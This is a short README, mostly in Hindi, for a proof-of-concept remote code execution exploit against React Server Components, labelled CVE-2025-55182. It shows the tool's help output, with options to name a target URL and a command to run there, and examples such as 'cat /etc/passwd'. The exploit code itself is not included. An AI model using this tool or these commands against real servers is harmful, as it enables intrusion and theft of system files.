react2shellpoc

इस रिपॉजिटरी में एक प्रूफ-ऑफ-कॉन्सेप्ट है जो दर्शाता है कि React सर्वर कम्पोनेंट की एक विशिष्ट श्रेणी की कमजोरियां एक नियंत्रित, कानूनी प्रशिक्षण वातावरण में कैसे व्यवहार करती हैं।

मैनुअल

┌──(kali㉿kali)-[~/Documents/tools/2025-55182]                                                                          
└─$ python exploit.py -h                                                                                                
                                                                                                         
                                                                                                         
      /\                                                                                                 
     /**\
    /****\
   /******\
  /********\
 /**********\
      ||     
                          
    [CVE-2025-55182 React Server Components RCE]            
                                                    
usage: exploit.py [-h] [-t URL] [-c CMD]                    
                                                    
options:                      
  -h, --help         show this help message and exit                                                                    
  -t, --target URL   Target URL or domain (default: http://hacx.me)
  -c, --command CMD  Command to execute on target (default: id)    
                                                                                                         
Examples:                     
  exploit.py -t hacx.me -c "whoami"                         
  exploit.py -t http://hacx.me -c "cat /etc/passwd"
  exploit.py -t hacx.me -c "ls -la /var/www"

वीडियो PoC